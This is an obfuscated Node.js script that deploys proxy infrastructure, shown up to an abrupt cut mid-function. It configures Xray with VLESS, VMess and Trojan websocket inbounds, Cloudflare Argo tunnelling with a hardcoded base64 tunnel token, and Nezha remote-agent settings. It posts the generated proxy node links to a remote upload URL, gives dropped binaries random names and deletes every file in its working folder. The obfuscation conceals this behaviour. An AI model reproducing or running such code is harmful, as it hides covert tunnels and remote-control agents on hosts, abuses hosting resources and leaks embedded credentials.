http=require(_0x362290(0x365,0x51e,0x60f,0x4a7)),axios=require(_0x362290(0x419,0x3e2,0x549,0x4da)),os=require('os'),fs=require('fs'),path=require(_0x364cea(-0x24e,-0xec,-0x177,-0xa4)),{promisify}=require(_0x364cea(-0x188,-0xdf,-0x232,-0x302)),exec=promisify(require('child_proc'+_0x362290(0x35e,0x291,0x2e8,0x3cd))[_0x362290(0x54e,0x54f,0x3b7,0x442)]),UPLOAD_URL=process[_0x364cea(-0x11e,-0x2ab,-0x17a,-0xf6)]['UPLOAD_URL']||'',PROJECT_URL=process[_0x364cea(-0x157,-0xa6,-0x17a,-0x25f)]['PROJECT_UR'+'L']||'',AUTO_ACCESS=process[_0x362290(0x34b,0x425,0x378,0x384)][_0x364cea(-0x127,-0x30b,-0x203,-0x2da)+'S']||![],FILE_PATH=process[_0x364cea(-0x265,-0x228,-0x17a,-0x13e)][_0x364cea(0x46,-0x1bb,-0xec,-0x109)]||_0x362290(0x5cb,0x492,0x468,0x4ea),SUB_PATH=process[_0x362290(0x2b2,0x29e,0x3bf,0x384)][_0x364cea(-0xea,0x2d,-0x142,-0x174)]||'sub',PORT=process[_0x364cea(-0x271,-0xb3,-0x17a,-0x19f)][_0x362290(0x43d,0x43c,0x329,0x3d1)+'T']||process['env'][_0x364cea(-0x27c,-0x17d,-0x2b3,-0x29e)]||0x144b+-0x6b*0x1f+0x462,UUID=process[_0x362290(0x391,0x4ad,0x32e,0x384)][_0x364cea(-0x329,-0x2c7,-0x28c,-0x3ff)]||'5e209bff-6'+_0x364cea(0xe3,-0x183,-0x5a,-0xf3)+_0x364cea(-0xb5,-0x32,0x2,0x10b)+'ec9de9',NEZHA_SERVER=process[_0x362290(0x287,0x3aa,0x269,0x384)][_0x362290(0x3cc,0x3bc,0x54b,0x4bf)+'ER']||'',NEZHA_PORT=process['env']['NEZHA_PORT']||'',NEZHA_KEY=process[_0x362290(0x3cc,0x396,0x289,0x384)][_0x364cea(-0xbf,-0x155,-0x1ab,-0x2f4)]||'',ARGO_DOMAIN=process[_0x364cea(-0x134,-0x2c2,-0x17a,-0x1fe)][_0x362290(0x5d4,0x412,0x603,0x4e2)+'N']||_0x362290(0x221,0x18d,0x1fc,0x2f7)+'de5.net',ARGO_AUTH=process['env'][_0x362290(0x38b,0x378,0x285,0x28d)]||_0x364cea(-0x11,-0x8e,-0x9c,-0x149)+_0x364cea(-0x2b3,-0x24c,-0x160,-0xc5)+_0x364cea(-0x22f,-0x202,-0x184,-0x2f2)+_0x362290(0x2aa,0x2f1,0x41e,0x3ef)+_0x364cea(0x1c,-0x225,-0x125,-0x4f)+_0x362290(0x5e5,0x4fd,0x477,0x503)+_0x362290(0x3bb,0x3b8,0x2c1,0x3c5)+'MtOWRhMi00'+_0x362290(0x4b7,0x3d4,0x559,0x461)+'ItODY1ZDNi'+_0x362290(0x40a,0x2ee,0x47d,0x3d8)+_0x364cea(-0x81,0x8e,-0x39,-0x184)+_0x364cea(0xb6,-0x1b9,-0x63,-0x1ac)+_0x362290(0x44e,0x331,0x34e,0x439)+_0x362290(0x16b,0x42a,0x44a,0x2d4)+_0x362290(0x260,0x284,0x267,0x3a5)+'TURjNE16ST'+_0x364cea(-0x169,-0x1ed,-0x256,-0x363)+'eCJ9',ARGO_PORT=process[_0x364cea(-0x20d,-0x207,-0x17a,-0x195)][_0x364cea(-0x1f0,-0x52,-0x81,-0x1b8)]||0x1bb*0x1b+0x397c*-0x1+0x2a04,CFIP=process[_0x362290(0x28a,0x3f8,0x24a,0x384)]['CFIP']||_0x364cea(-0xb8,-0x1ec,-0x15d,-0x36)+'an',CFPORT=process[_0x362290(0x497,0x226,0x27b,0x384)][_0x362290(0x2c0,0x348,0x392,0x2c8)]||-0x21*-0x129+-0x1*0xd67+0x1*-0x1727,NAME=process['env'][_0x364cea(-0x2b5,-0x3bf,-0x2a4,-0x28c)]||'';!fs['existsSync'](FILE_PATH)?(fs[_0x364cea(-0xda,0x43,-0xfc,-0x128)](FILE_PATH),console[_0x364cea(-0x19a,0x8e,-0x7e,0x13)](FILE_PATH+(_0x362290(0x226,0x30a,0x3cb,0x253)+'d'))):console[_0x364cea(-0x43,0xaa,-0x7e,0x4c)](FILE_PATH+(_0x362290(0x1b5,0x3f3,0x287,0x2c0)+'xists'));function generateRandomName(){const _0x5aa304={};_0x5aa304[_0x183c08(-0x2dc,-0x1dd,-0x22b,-0xf8)]=_0x183c08(-0xa2,-0x1b0,-0x110,-0x284)+_0x25c14e(-0x1de,-0xbd,-0x7a,-0x1eb)+'uvwxyz',_0x5aa304[_0x183c08(0x1eb,0xa2,0xad,0x155)]=function(_0x36a245,_0x48244b){return _0x36a245<_0x48244b;};function _0x25c14e(_0x41d7b0,_0x52153d,_0x35f9d7,_0x4bbf5c){return _0x362290(_0x41d7b0-0xd0,_0x52153d-0x59,_0x41d7b0,_0x4bbf5c- -0x559);}_0x5aa304[_0x25c14e(-0x1ed,0x8c,0x13,-0x98)]=_0x183c08(-0x109,-0x173,-0x125,-0x83),_0x5aa304['VPzjg']=function(_0x41c090,_0x370496){return _0x41c090*_0x370496;};const _0x4ad4ad=_0x5aa304,_0x220472=_0x4ad4ad[_0x25c14e(-0x3e9,-0x21a,-0x3ec,-0x325)];let _0x354e11='';for(let _0x4a12f1=-0x1406+-0xedb*0x1+-0x22e1*-0x1;_0x4ad4ad['Vqudc'](_0x4a12f1,0x1ecc+-0x1*-0x22c1+-0x4187);_0x4a12f1++){if(_0x4ad4ad['iBTjV']!==_0x4ad4ad[_0x183c08(-0xf4,-0x31,0x62,-0x4c)])return(_0x554146[_0x25c14e(-0x17f,-0x302,-0x2c9,-0x221)][_0x25c14e(-0xf8,-0x1ff,-0x74,-0x15f)+'de']+'-'+_0x85e7fa['data'][_0x25c14e(-0x2c9,-0x1b7,-0x18a,-0x200)])['replace'](/\s+/g,'_');else _0x354e11+=_0x220472['charAt'](Math[_0x183c08(-0x29,0x1a7,0x65,-0xa9)](_0x4ad4ad['VPzjg'](Math[_0x183c08(-0x1d7,-0x1e2,-0x10f,-0x17c)](),_0x220472[_0x183c08(-0x279,-0x51,-0x16b,-0xdd)])));}function _0x183c08(_0x187ee2,_0x168a1b,_0x1d4954,_0x4c33ba){return _0x362290(_0x187ee2-0x84,_0x168a1b-0x13f,_0x4c33ba,_0x1d4954- -0x45f);}return _0x354e11;}let subContent=null;const npmName=generateRandomName(),webName=generateRandomName(),botName=generateRandomName(),phpName=generateRandomName();let npmPath=path['join'](FILE_PATH,npmName),phpPath=path[_0x362290(0x2be,0x21f,0x1e7,0x2e4)](FILE_PATH,phpName),webPath=path[_0x364cea(-0x259,-0x1fc,-0x21a,-0x20f)](FILE_PATH,webName),botPath=path[_0x362290(0x28c,0x344,0x23f,0x2e4)](FILE_PATH,botName),subPath=path['join'](FILE_PATH,_0x362290(0x5ce,0x35c,0x453,0x48d)),listPath=path['join'](FILE_PATH,_0x362290(0x51e,0x514,0x3fd,0x3c2)),bootLogPath=path[_0x364cea(-0x36b,-0x376,-0x21a,-0x2f5)](FILE_PATH,_0x362290(0x51a,0x4c5,0x2c6,0x404)),configPath=path[_0x364cea(-0x29b,-0x13a,-0x21a,-0x22f)](FILE_PATH,_0x362290(0x253,0x286,0x217,0x2fe)+'n');function deleteNodes(){const _0x281df6={};_0x281df6[_0x30859a(0x2b6,0x3b2,0x2e4,0x2f0)]=_0x652454(-0x9e,-0x1af,0x64,-0xcf),_0x281df6[_0x30859a(0x218,0x368,0x1d9,0x244)]='App\x20is\x20run'+_0x652454(-0x235,-0x29e,-0x2c2,-0x217);function _0x652454(_0x53ef42,_0x2f895c,_0x559be3,_0x1a5b42){return _0x362290(_0x53ef42-0x10e,_0x2f895c-0x1a9,_0x559be3,_0x1a5b42- -0x45f);}_0x281df6['LoTKK']=_0x652454(-0x12,-0x114,-0x53,-0xae)+_0x30859a(0x1f9,0x28d,0x141,0x1ca)+'this\x20scrip'+_0x652454(0xa4,-0x5a,-0x2c,-0x36);function _0x30859a(_0x21eb8f,_0x49cd88,_0x4cbe80,_0x3116f4){return _0x364cea(_0x21eb8f-0x4f,_0x3116f4,_0x21eb8f-0x43d,_0x3116f4-0xef);}_0x281df6[_0x652454(-0xc,-0x111,-0x82,-0x170)]='oDcnT',_0x281df6[_0x652454(-0x93,-0x237,-0x175,-0x144)]='pWFdL',_0x281df6[_0x30859a(0x1b4,0x77,0x2ec,0x196)]='hLbEl',_0x281df6['kXiEa']='base64',_0x281df6[_0x652454(-0xaf,-0x165,0x26,-0x14f)]=_0x30859a(0x388,0x3fa,0x42f,0x4be),_0x281df6[_0x652454(0x8b,-0x68,-0xde,-0x6e)]=function(_0x587fc7,_0x4216a8){return _0x587fc7===_0x4216a8;},_0x281df6[_0x30859a(0x32b,0x1dd,0x487,0x476)]=_0x30859a(0x40d,0x47f,0x4af,0x3d7)+_0x652454(-0x1da,-0x21d,-0x17,-0xeb);const _0x3b86de=_0x281df6;try{if(!UPLOAD_URL)return;if(!fs[_0x652454(-0xdd,0x3a,-0x138,-0x3f)](subPath))return;let _0x487aef;try{if(_0x3b86de[_0x652454(-0x2da,-0x85,-0x35,-0x170)]===_0x3b86de[_0x30859a(0x22e,0x39f,0xf3,0x392)])_0x487aef=fs[_0x652454(0x4c,0x121,0xf1,-0x15)+'nc'](subPath,'utf-8');else return _0x3b86de[_0x652454(-0x106,0x4,-0x1f9,-0xe8)];}catch{if(_0x3b86de['wuRBA']===_0x3b86de['BnftE'])_0x28748e['clear'](),_0x23fc06[_0x652454(0x16c,-0x99,-0xb8,0x21)](_0x3b86de[_0x30859a(0x218,0xc6,0x24a,0x247)]),_0x2f8bd6[_0x652454(-0xf2,0x77,0x9c,0x21)](_0x3b86de[_0x652454(-0x186,-0x112,-0x1c,-0x103)]);else return null;}const _0x277796=Buffer[_0x30859a(0x380,0x348,0x23a,0x4ca)](_0x487aef,_0x3b86de[_0x30859a(0x1f7,0x110,0x147,0x222)])[_0x652454(0x68,-0xa,0x105,0x9d)](_0x3b86de['xAeRK']),_0x35b9cb=_0x277796[_0x652454(-0x229,-0x1e9,-0x331,-0x203)]('\x0a')[_0x652454(-0xc7,-0x13e,-0x141,-0x50)](_0xa4da29=>/(vless|vmess|trojan|hysteria2|tuic):\/\//[_0x30859a(0x2f9,0x374,0x297,0x466)](_0xa4da29));if(_0x3b86de[_0x30859a(0x330,0x24f,0x23e,0x208)](_0x35b9cb[_0x652454(-0x1e6,-0x1d4,-0x1b1,-0x16b)],-0x6da*0x1+0x21a9+-0x1acf))return;const _0x5f597f={};_0x5f597f['nodes']=_0x35b9cb;const _0x3ab51d={};_0x3ab51d[_0x652454(-0x55,-0x208,-0x30,-0x146)+'pe']=_0x3b86de['vwRrH'];const _0x3442c1={};return _0x3442c1[_0x652454(-0x28d,0xa,-0x88,-0x153)]=_0x3ab51d,axios['post'](UPLOAD_URL+(_0x652454(-0x19,0x1b4,0x1d9,0x82)+'e-nodes'),JSON[_0x30859a(0x3a2,0x50c,0x37b,0x2d9)](_0x5f597f),_0x3442c1)[_0x652454(-0x160,-0x19c,-0x163,-0xab)](_0x1737f4=>{return null;}),null;}catch(_0x132771){return _0x30859a(0x303,0x253,0x394,0x39e)!=='RZKCp'?null:null;}}function cleanupOldFiles(){const _0x1a6e5c={};_0x1a6e5c[_0x2bd2d0(-0x2f,-0xb8,-0x88,0x16)]=_0x4f96c2(-0xd,0x92,0x16c,0xfc)+'able\x20is\x20em'+_0x4f96c2(0x76,0x192,0x40,0x17a)+_0x2bd2d0(0xe8,-0x90,-0xb2,-0xf4);function _0x4f96c2(_0x16c1d1,_0x30d81b,_0x2f2050,_0x18662b){return _0x364cea(_0x16c1d1-0x3e,_0x16c1d1,_0x18662b-0x1f5,_0x18662b-0xf4);}_0x1a6e5c[_0x2bd2d0(-0xd9,-0x122,-0x1c0,0x15)]=_0x2bd2d0(-0x7c,-0xe9,0x77,-0x221)+_0x4f96c2(-0xbb,-0x88,-0xd,0x65)+'uvwxyz',_0x1a6e5c[_0x4f96c2(-0xe8,0xbc,0x3c,-0xb5)]=function(_0x33d535,_0x345688){return _0x33d535<_0x345688;},_0x1a6e5c[_0x2bd2d0(-0x232,-0x18d,-0x103,-0x166)]=function(_0x5617f4,_0x1fc9fb){return _0x5617f4*_0x1fc9fb;},_0x1a6e5c[_0x4f96c2(0x69,-0x78,0x177,0x2b)]=function(_0x40c5a6,_0x2bc5f4){return _0x40c5a6!==_0x2bc5f4;},_0x1a6e5c[_0x4f96c2(0xd4,0xff,0xd,0xea)]=_0x4f96c2(-0x73,0x1bc,0x23,0x4e),_0x1a6e5c[_0x2bd2d0(-0x285,-0x160,-0x10f,-0x2b8)]=function(_0x2b22ac,_0x176e8d){return _0x2b22ac===_0x176e8d;};function _0x2bd2d0(_0x109064,_0x43426a,_0x530ffb,_0x16776f){return _0x362290(_0x109064-0xfb,_0x43426a-0x1b,_0x530ffb,_0x43426a- -0x438);}_0x1a6e5c[_0x2bd2d0(-0x131,-0x214,-0x248,-0x175)]='HeeGg';const _0x724822=_0x1a6e5c;try{if(_0x724822[_0x2bd2d0(-0x28b,-0x160,-0xb2,-0x21b)](_0x4f96c2(-0xdf,0x41,0x2b,0x2d),_0x724822[_0x4f96c2(-0x179,-0x160,-0x1d4,-0xe5)]))_0x45721a['log'](_0x724822[_0x4f96c2(-0x7c,0x1d8,0x14,0x77)]);else{const _0x5ea3ff=fs[_0x4f96c2(-0x5e,-0xae,-0x30,0x25)+'c'](FILE_PATH);_0x5ea3ff[_0x2bd2d0(-0xe5,0x70,0x1c,0x8c)](_0xc81ba2=>{function _0x116e48(_0x8a8463,_0x223b7b,_0x13110b,_0x41c7a4){return _0x2bd2d0(_0x8a8463-0x124,_0x13110b-0x4c1,_0x41c7a4,_0x41c7a4-0x73);}const _0x1b4593=path[_0x8a3184(-0xdf,-0xe5,-0x10b,-0xe8)](FILE_PATH,_0xc81ba2);function _0x8a3184(_0x4d3f10,_0xd846e0,_0x5e6839,_0x184925){return _0x2bd2d0(_0x4d3f10-0x56,_0x5e6839-0x49,_0xd846e0,_0x184925-0xee);}try{const _0xc2df4d=fs[_0x8a3184(-0x178,0x8,-0x16f,-0xf4)](_0x1b4593);if(_0xc2df4d['isFile']()){if(_0x724822[_0x8a3184(-0x16e,0x8a,-0xbb,-0x1b3)](_0x724822['PCiZi'],_0x116e48(0x469,0x462,0x3e0,0x480))){const _0x119283=_0x724822[_0x8a3184(-0x94,0x10,-0xd9,-0x16e)];let _0x52f1b1='';for(let _0xefe81a=0x212a+-0x205d+-0x1*0xcd;_0x724822['HfhRt'](_0xefe81a,-0x6*-0x11f+0x1*-0x1cb5+0x1601);_0xefe81a++){_0x52f1b1+=_0x119283['charAt'](_0x21d713[_0x8a3184(0x82,0xe4,0xd5,0x157)](_0x724822[_0x116e48(0x37f,0x31f,0x334,0x429)](_0x30c899[_0x116e48(0x3c8,0x3cf,0x3d9,0x2ab)](),_0x119283[_0x8a3184(-0x4f,-0xa8,-0xfb,-0x16f)])));}return _0x52f1b1;}else fs[_0x116e48(0x505,0x416,0x4e2,0x4f2)](_0x1b4593);}}catch(_0x3b6d37){}});}}catch(_0x4aa258){}}async function generateConfig(){const _0x1a6d65={};_0x1a6d65['NbYPr']=_0x322004(0x11a,0x1a4,0x19c,0x263),_0x1a6d65['jlozu']=_0x322004(0x2a3,0x280,0x2ee,0x300),_0x1a6d65[_0x43125a(-0x105,-0x26a,-0x273,-0x38d)]=_0x43125a(-0x118,0x59,0x11f,0x1d1),_0x1a6d65['DwrYy']=_0x43125a(-0x89,-0x47,-0x24,0x81)+_0x322004(0x23b,0x244,0x3ae,0x326),_0x1a6d65[_0x43125a(-0x2ac,-0x1cf,-0x309,-0xe1)]=_0x322004(0x14f,0xfd,0xa0,0xb3)+'o',_0x1a6d65[_0x322004(0x3,-0x169,-0x163,0xfd)]=_0x43125a(-0x13c,-0x163,-0x88,-0x1a0)+'o',_0x1a6d65[_0x322004(0xe3,0xa9,0x249,-0x42)]=_0x43125a(0x2a,-0x64,-0x8d,-0xc1)+'go',_0x1a6d65[_0x322004(0x2ae,0x16e,0x399,0x413)]='tcp',_0x1a6d65[_0x322004(0x1b3,0x66,0x8a,0x2c6)]=_0x43125a(0x103,0x3e,-0x12d,-0xb1),_0x1a6d65[_0x43125a(-0x53,0x27,-0xe5,0x2b)]=_0x43125a(-0x1f0,-0xe6,0x83,-0xbb),_0x1a6d65['JNgpV']='quic';function _0x43125a(_0x425952,_0x2eefc3,_0x241663,_0x4facc7){return _0x362290(_0x425952-0x147,_0x2eefc3-0x87,_0x425952,_0x2eefc3- -0x496);}_0x1a6d65[_0x322004(0x80,0x170,-0xda,0x132)]='trojan',_0x1a6d65[_0x43125a(-0x1d7,-0x196,-0x161,-0x24c)]=_0x43125a(-0x35a,-0x266,-0x2af,-0x2a7)+'l://8.8.8.'+_0x43125a(-0x2ba,-0x230,-0x354,-0x390)+'y',_0x1a6d65['jjXCP']=_0x43125a(0x127,-0x26,-0x6a,0xa5),_0x1a6d65[_0x322004(0xc6,-0x19,0x69,0x219)]=_0x322004(0x5d,0xee,0x12a,0x1ca),_0x1a6d65['WoxdB']='blackhole',_0x1a6d65[_0x43125a(-0x1ae,-0xc7,-0x1a9,-0x186)]='block';const _0xe8e2c3=_0x1a6d65,_0x3ac070={};_0x3ac070['access']=_0xe8e2c3['NbYPr'],_0x3ac070['error']=_0xe8e2c3[_0x322004(0x1f7,0x267,0x101,0x1c0)],_0x3ac070[_0x322004(0x1a6,0x86,0xc4,0xaf)]=_0xe8e2c3['jlozu'];const _0x46052e={};_0x46052e[_0x322004(0xed,0x204,0x123,-0x57)]=0xbb9;const _0x251dbb={};_0x251dbb[_0x43125a(-0x1b9,-0x148,-0x202,-0x24d)]=ARGO_PORT,_0x251dbb['protocol']=_0xe8e2c3[_0x322004(-0x18,0x23,0x2c,-0x6c)],_0x251dbb[_0x322004(0x75,0x31,-0x13,0x6a)]={},_0x251dbb[_0x43125a(0x42,-0x81,-0x14a,-0x6)+_0x43125a(-0x14a,-0x8,0xde,0x134)]={},_0x251dbb[_0x322004(0x75,0x31,-0x13,0x6a)][_0x43125a(-0x148,-0x3c,-0x15a,0x10b)]=[{'id':UUID,'flow':_0xe8e2c3['DwrYy']}],_0x251dbb[_0x322004(0x75,0x31,-0x13,0x6a)][_0x43125a(-0x1c7,-0x169,-0x6c,-0xd8)]=_0xe8e2c3['jlozu'],_0x251dbb[_0x322004(0x75,0x31,-0x13,0x6a)][_0x43125a(0x5d,-0x10d,-0x1f4,-0x22d)]=[_0x46052e,{'path':_0xe8e2c3[_0x43125a(-0x96,-0x1cf,-0x251,-0x72)],'dest':0xbba},{'path':_0xe8e2c3[_0x322004(0x3,0xe3,-0x10d,-0x151)],'dest':0xbbb},{'path':_0xe8e2c3['ftCSK'],'dest':0xbbc}],_0x251dbb[_0x43125a(0x42,-0x81,-0x14a,-0x6)+_0x43125a(-0x14a,-0x8,0xde,0x134)][_0x322004(0x187,0x18,0xd8,0x254)]=_0xe8e2c3[_0x43125a(-0x1c,0x5c,0x23,0x1a0)];const _0x26159d={};_0x26159d['id']=UUID;const _0x3d23ec={};_0x3d23ec['clients']=[_0x26159d],_0x3d23ec[_0x43125a(-0x9d,-0x169,-0x2a9,-0x29b)]='none';const _0x7f270b={};_0x7f270b['port']=0xbb9,_0x7f270b[_0x43125a(-0x80,-0x4,-0xcd,-0x5f)]=_0xe8e2c3[_0x43125a(-0x1cc,-0x9f,-0x1a0,-0x3d)],_0x7f270b['protocol']=_0xe8e2c3['VEbZs'],_0x7f270b[_0x43125a(-0x22c,-0x1dd,-0x1cf,-0xe2)]=_0x3d23ec,_0x7f270b[_0x322004(0x1d1,0x74,0x2cd,0x30b)+_0x322004(0x24a,0x11d,0x19f,0x186)]={},_0x7f270b[_0x322004(0x1d1,0x74,0x2cd,0x30b)+_0x322004(0x24a,0x11d,0x19f,0x186)][_0x43125a(-0x6d,-0xcb,-0x1ce,-0x1cf)]=_0xe8e2c3['VsTfg'],_0x7f270b[_0x322004(0x1d1,0x74,0x2cd,0x30b)+_0x322004(0x24a,0x11d,0x19f,0x186)][_0x43125a(-0x32,-0x8a,-0xa7,-0x1c)]=_0xe8e2c3[_0x322004(0x87,0x1f3,-0xe7,0x12b)];const _0x4466ee={};_0x4466ee['id']=UUID,_0x4466ee[_0x43125a(-0x152,-0x20f,-0x211,-0xd8)]=0x0;const _0x4a1f6d={};_0x4a1f6d[_0x43125a(-0x282,-0x148,-0x27d,-0x37)]=0xbba,_0x4a1f6d[_0x43125a(0x174,-0x4,-0x168,-0x128)]=_0xe8e2c3['Zwsgt'],_0x4a1f6d[_0x322004(0x4d,0x184,-0x12b,0x79)]=_0xe8e2c3[_0x322004(-0x18,-0xa4,0x140,0x12d)],_0x4a1f6d[_0x322004(0x75,0x198,0x3b,0x19a)]={},_0x4a1f6d[_0x43125a(0xaf,-0x81,-0xce,-0xa9)+_0x43125a(-0x110,-0x8,0x98,0x125)]={},_0x4a1f6d[_0x43125a(0xa1,-0xce,-0x152,-0x15a)]={},_0x4a1f6d[_0x322004(0x75,0x198,0x3b,0x19a)][_0x322004(0x216,0x120,0x2dc,0x216)]=[_0x4466ee],_0x4a1f6d[_0x322004(0x75,0x198,0x3b,0x19a)][_0x322004(0xe9,-0x7c,0x1e6,0x1ce)]=_0xe8e2c3[_0x322004(0x87,0x141,-0x88,0x16b)],_0x4a1f6d[_0x43125a(0xaf,-0x81,-0xce,-0xa9)+_0x43125a(-0x110,-0x8,0x98,0x125)][_0x43125a(-0xe1,-0xcb,-0x218,-0x50)]='ws',_0x4a1f6d[_0x43125a(0xaf,-0x81,-0xce,-0xa9)+_0x43125a(-0x110,-0x8,0x98,0x125)][_0x322004(0x1c8,0x198,0x1af,0x1cb)]=_0xe8e2c3[_0x322004(0x87,-0xa,-0xcd,-0x6f)],_0x4a1f6d[_0x43125a(0xaf,-0x81,-0xce,-0xa9)+_0x43125a(-0x110,-0x8,0x98,0x125)][_0x322004(0x1a0,0x13d,0x64,0xe5)]={},_0x4a1f6d[_0x43125a(0xaf,-0x81,-0xce,-0xa9)+_0x43125a(-0x110,-0x8,0x98,0x125)][_0x322004(0x1a0,0x13d,0x64,0xe5)]['path']=_0xe8e2c3[_0x43125a(-0x8b,-0x1cf,-0x84,-0x1b7)],_0x4a1f6d[_0x43125a(0xa1,-0xce,-0x152,-0x15a)][_0x43125a(-0xb3,-0xa8,-0x14a,-0x151)]=!![],_0x4a1f6d[_0x43125a(0xa1,-0xce,-0x152,-0x15a)][_0x322004(0x167,0x262,0x4a,0x28c)+'de']=[_0x322004(0x263,0x22d,0x35c,0x29d),_0xe8e2c3[_0x43125a(-0x3d,0x27,-0xe0,0x28)],_0xe8e2c3[_0x43125a(-0x18c,-0x244,-0x395,-0x2d8)]],_0x4a1f6d[_0x43125a(0xa1,-0xce,-0x152,-0x15a)]['metadataOn'+'ly']=![];const _0x449ae3={};_0x449ae3['id']=UUID,_0x449ae3[_0x43125a(-0x150,-0x72,-0x147,0x26)]=0x0;const _0x10f0bf={};_0x10f0bf[_0x43125a(-0x79,-0x3c,-0x8e,-0x25)]=[_0x449ae3];const _0x2bcf44={};_0x2bcf44[_0x43125a(-0x212,-0x10f,-0xcb,0x25)]=_0xe8e2c3[_0x43125a(-0x1ad,-0x24f,-0x2aa,-0x2bf)];const _0x17b80b={};_0x17b80b[_0x43125a(0x76,-0xcb,-0x64,-0x8b)]='ws',_0x17b80b['wsSettings']=_0x2bcf44;const _0x33994f={};_0x33994f[_0x43125a(0xa6,-0xa8,-0x1a9,-0xa4)]=!![],_0x33994f[_0x43125a(-0xc3,-0xeb,-0x249,-0xfb)+'de']=[_0x322004(0x263,0xfa,0x31b,0x1f1),_0xe8e2c3['BudXC'],_0xe8e2c3[_0x43125a(-0xdb,-0x244,-0x25b,-0x13c)]],_0x33994f['metadataOn'+'ly']=![];const _0x2002de={};_0x2002de[_0x322004(0x10a,0x1e6,0x82,0x4f)]=0xbbb,_0x2002de[_0x43125a(0x145,-0x4,-0xf8,-0x45)]=_0x322004(0x290,0x313,0x2fe,0x123),_0x2002de[_0x322004(0x4d,0x73,0x14,-0x9b)]=_0x43125a(-0x117,-0x124,-0x46,-0x1b4),_0x2002de[_0x322004(0x75,-0x58,0x191,-0x78)]=_0x10f0bf,_0x2002de[_0x322004(0x1d1,0x14f,0x149,0x2dc)+_0x43125a(-0x50,-0x8,0xf2,0x136)]=_0x17b80b,_0x2002de['sniffing']=_0x33994f;const _0x461e1a={};_0x461e1a[_0x322004(0x256,0x178,0x1db,0x1b8)]=UUID;const _0x183f44={};_0x183f44['clients']=[_0x461e1a];const _0x42ac21={};_0x42ac21[_0x322004(0x10a,0x125,-0x6a,0x15e)]=0xbbc;function _0x322004(_0x5d1712,_0x3a7c65,_0x596a89,_0x2effee){return _0x364cea(_0x5d1712-0xef,_0x3a7c65,_0x5d1712-0x2ba,_0x2effee-0x11d);}_0x42ac21[_0x43125a(-0x64,-0x4,-0x5d,-0x2b)]=_0xe8e2c3[_0x322004(0x1b3,0x258,0x1aa,0xad)],_0x42ac21[_0x43125a(-0x2e5,-0x205,-0x204,-0x2f4)]=_0xe8e2c3[_0x322004(0x80,0x9,0x1ab,0x7e)],_0x42ac21[_0x322004(0x75,0x19e,0x189,-0x2b)]=_0x183f44,_0x42ac21[_0x322004(0x1d1,0x266,0xc2,0x314)+_0x43125a(0xf4,-0x8,-0x146,0x79)]={},_0x42ac21[_0x43125a(-0x15,-0xce,-0xa4,-0x48)]={},_0x42ac21[_0x322004(0x1d1,0x266,0xc2,0x314)+_0x43125a(0xf4,-0x8,-0x146,0x79)]['network']='ws',_0x42ac21[_0x322004(0x1d1,0x266,0xc2,0x314)+_0x43125a(0xf4,-0x8,-0x146,0x79)][_0x322004(0x1c8,0x1c1,0xc8,0x1e6)]='none',_0x42ac21[_0x322004(0x1d1,0x266,0xc2,0x314)+_0x43125a(0xf4,-0x8,-0x146,0x79)][_0x322004(0x1a0,0x312,0x2ba,0x1bf)]={},_0x42ac21[_0x322004(0x1d1,0x266,0xc2,0x314)+_0x43125a(0xf4,-0x8,-0x146,0x79)][_0x322004(0x1a0,0x312,0x2ba,0x1bf)][_0x43125a(0x50,-0x10f,0x15,-0xaf)]=_0xe8e2c3['ftCSK'],_0x42ac21[_0x43125a(-0x15,-0xce,-0xa4,-0x48)]['enabled']=!![],_0x42ac21[_0x43125a(-0x15,-0xce,-0xa4,-0x48)]['destOverri'+'de']=[_0x322004(0x263,0x120,0x279,0x19e),_0xe8e2c3['BudXC'],_0xe8e2c3['JNgpV']],_0x42ac21[_0x43125a(-0x15,-0xce,-0xa4,-0x48)]['metadataOn'+'ly']=![];const _0xb41c90={};_0xb41c90[_0x322004(-0x1,0x136,-0x69,-0x20)]=[_0xe8e2c3['gEsPd']];const _0x326775={};_0x326775[_0x322004(0x4d,0x192,-0x123,0xf9)]=_0xe8e2c3[_0x322004(0x201,0x236,0xe2,0x273)],_0x326775[_0x322004(0xa5,0x110,0x11f,0xd7)]=_0xe8e2c3[_0x322004(0xc6,0x99,0x37,0x1c0)];const _0x5e9e79={};_0x5e9e79[_0x322004(0x4d,-0x6b,0x9e,0xc7)]=_0xe8e2c3['WoxdB'],_0x5e9e79['tag']=_0xe8e2c3[_0x43125a(-0x161,-0xc7,-0x1a1,-0x133)];const _0x2c96de={};_0x2c96de['log']=_0x3ac070,_0x2c96de[_0x43125a(-0x98,-0xa,-0x97,0x145)]=[_0x251dbb,_0x7f270b,_0x4a1f6d,_0x2002de,_0x42ac21],_0x2c96de[_0x43125a(-0x79,-0x46,0xc7,-0x12e)]=_0xb41c90,_0x2c96de[_0x43125a(-0x101,-0x1ec,-0xad,-0x1ba)]=[_0x326775,_0x5e9e79];const _0x34f8f5=_0x2c96de;fs[_0x43125a(-0xd6,-0x1b0,-0x231,-0x237)+'ync'](path[_0x322004(0xa0,0xcd,-0x8e,0x33)](FILE_PATH,_0x43125a(-0x1ce,-0x198,-0x1ca,-0x8f)+'n'),JSON['stringify'](_0x34f8f5,null,0x1285+0x1144+0xd5*-0x2b));}function getSystemArchitecture(){const _0x3ce64a={'htuOo':_0x437443(0x67a,0x77d,0x5f5,0x5fb),'ysIiE':_0x437443(0x4c6,0x5a8,0x373,0x362)+_0xab10e8(0x3f1,0x2ba,0x3c3,0x43a),'GUVnS':_0x437443(0x5cf,0x4cf,0x573,0x6d9),'uQnJI':function(_0x206b28){return _0x206b28();},'yRaxc':function(_0x41804e,_0x221736){return _0x41804e(_0x221736);},'eNdVi':function(_0x26a107,_0x2ea5ed,_0x252fa0){return _0x26a107(_0x2ea5ed,_0x252fa0);},'mPqst':function(_0x1937eb,_0x206ea5){return _0x1937eb===_0x206ea5;},'hIICh':function(_0x3b8f20,_0x93d839){return _0x3b8f20===_0x93d839;},'NrsVW':_0xab10e8(0x674,0x571,0x55a,0x4a6),'zBIFg':_0x437443(0x4e8,0x5b2,0x55a,0x448),'hbiKk':function(_0x5045ca,_0x1a8c54){return _0x5045ca!==_0x1a8c54;},'qcBun':_0x437443(0x438,0x2ee,0x569,0x5a4),'cdgqZ':'arm','qbLPB':_0x437443(0x634,0x4de,0x65e,0x70a),'uTGAj':_0xab10e8(0x315,0x2e6,0x2d0,0x2dd)};function _0xab10e8(_0x1fd2c4,_0x493f39,_0x377284,_0x3e644f){return _0x362290(_0x1fd2c4-0x107,_0x493f39-0x48,_0x493f39,_0x377284-0xa9);}const _0x32ec54=os[_0x437443(0x697,0x52f,0x632,0x6e3)]();function _0x437443(_0x57a835,_0x104c07,_0x980a0c,_0x4cd603){return 